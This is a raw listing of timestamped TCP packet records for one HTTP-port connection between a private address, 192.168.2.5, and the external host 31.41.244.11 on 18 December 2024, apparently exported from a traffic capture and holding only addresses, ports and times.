Dec 18, 2024 19:08:22.408778906 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.409662962 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.409703016 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.409945011 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.409991026 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.410990953 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.411037922 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.411525011 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.411571026 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.412332058 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.412380934 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.412914038 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.412961006 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.413753033 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.413800001 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.413871050 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.413914919 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.414988041 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.415030956 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.415154934 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.415199041 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.416471958 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.416517019 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.416636944 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.416682959 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.417620897 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.417666912 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.418936968 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.418987036 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.419043064 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.419058084 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.419085979 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.419102907 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.420183897 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.420224905 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.536595106 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.536638021 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.536665916 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.536703110 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.537061930 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.537110090 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.537118912 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.537163973 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.538013935 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.538090944 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.538113117 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.538134098 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.539205074 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.539330959 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.539462090 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.539572954 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.540285110 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.540355921 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.540396929 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.540539026 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.541496992 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.541554928 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.541623116 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.541726112 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.542645931 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.542711973 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.542922020 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.543000937 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.543770075 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.543817043 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.543951035 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.544034958 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.544998884 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.545077085 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.545252085 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.545584917 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.546083927 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.546175957 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.546207905 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.546267033 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.547265053 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.547331095 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.547374010 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.547449112 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.548502922 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.548633099 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.548669100 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.548787117 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.549578905 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.549624920 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.549666882 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.549719095 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.550930023 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.550981045 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.551016092 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.551095963 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.551925898 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.552046061 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.552073002 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.552172899 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.553096056 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.553175926 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.553221941 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.553221941 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.554279089 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.554346085 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.554702044 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.554759026 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.555469990 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.555569887 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.555588007 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.555686951 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.556621075 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.556677103 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.556756973 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.556829929 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.557779074 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.557948112 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.557951927 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.558115005 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.558931112 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.559084892 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.559096098 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.559154987 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.560065985 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.560117006 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.560162067 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.560208082 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.561269045 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.561319113 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.561387062 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.561465025 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.562474966 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.562527895 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.562549114 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.562674999 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.563627958 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.563685894 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.563697100 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.563738108 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.564785004 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.564842939 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.565134048 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.565224886 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.566050053 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.566091061 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.566154957 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.566214085 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.567178965 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.567251921 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.567253113 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.567296028 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.568311930 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.568407059 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.568445921 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.568490982 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.569451094 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.569540024 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.569701910 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.569745064 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.570631027 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.570694923 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.570729017 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.570784092 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.571837902 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.571914911 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.572324038 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.572431087 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.572959900 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.573003054 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.573117971 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.573175907 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.574089050 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.574162006 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.574253082 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.574306965 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.575336933 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.575473070 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.575627089 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.575670004 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.576426983 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.576477051 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.576718092 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.576806068 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.577692032 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.577769041 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.577872992 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.577943087 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.578788996 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.578844070 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.579194069 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.579335928 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.579936981 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.580030918 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.580132961 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.580179930 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.581115961 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.581224918 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.581954956 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.581999063 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.582366943 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.582412958 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.582434893 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.582490921 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.583523035 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.583535910 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.583606958 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.584594011 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.584660053 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.584784031 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.584844112 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.585777044 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.585828066 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.586180925 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.586462021 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.587039948 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.587096930 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.587161064 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.587275028 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.588118076 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.588203907 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.588427067 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.588514090 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.589442015 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.589597940 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.589848995 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.589952946 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.590423107 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.590506077 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.590639114 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.590778112 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.591799021 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.591981888 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.592298985 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.592783928 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.592878103 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.593105078 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.593961954 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.594043970 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.594182968 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.594239950 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.595117092 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.595205069 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.595302105 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.595357895 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.596291065 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.596330881 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.596776009 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.596839905 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.597815037 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.597899914 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.731295109 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.731458902 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.731477022 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.731537104 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.731950998 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.732031107 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.732273102 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.732358932 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.732940912 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.733077049 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.733645916 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.733726025 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.734060049 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.734127998 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.734265089 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.734322071 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.735232115 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.735244036 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.735285997 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.736288071 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.736429930 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.736577034 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.736680031 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.737430096 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.737565041 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.738555908 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.738615036 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.738634109 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.738691092 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.738732100 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.738732100 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.739705086 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.739785910 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.739818096 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.740097046 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.740871906 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.740885019 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.740937948 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.741955042 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.742003918 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.742322922 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.742379904 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.743200064 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.743212938 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.743252039 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.744213104 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.744291067 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.744395018 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.744476080 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.745328903 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.745382071 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.745443106 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.745502949 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.746500015 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.746570110 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.746716976 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.746879101 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.747611046 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.747760057 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.747926950 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.748002052 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.748759985 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.748823881 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.749041080 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.749452114 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.749834061 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.749933004 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.749933958 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.750061989 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.751012087 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.751121998 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.751142979 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.751168966 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.752080917 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.752192974 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.752820969 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.752876043 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.753210068 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.753257990 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.753592014 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.753674984 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.754350901 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.754420042 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.754517078 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.754576921 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.755460978 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.755583048 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.756031036 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.756166935 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.756648064 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.756664038 CET	80	49723	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:22.756717920 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.756717920 CET	49723	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:22.757719040 CET	80	49723	31.41.244.11	192.168.2.5
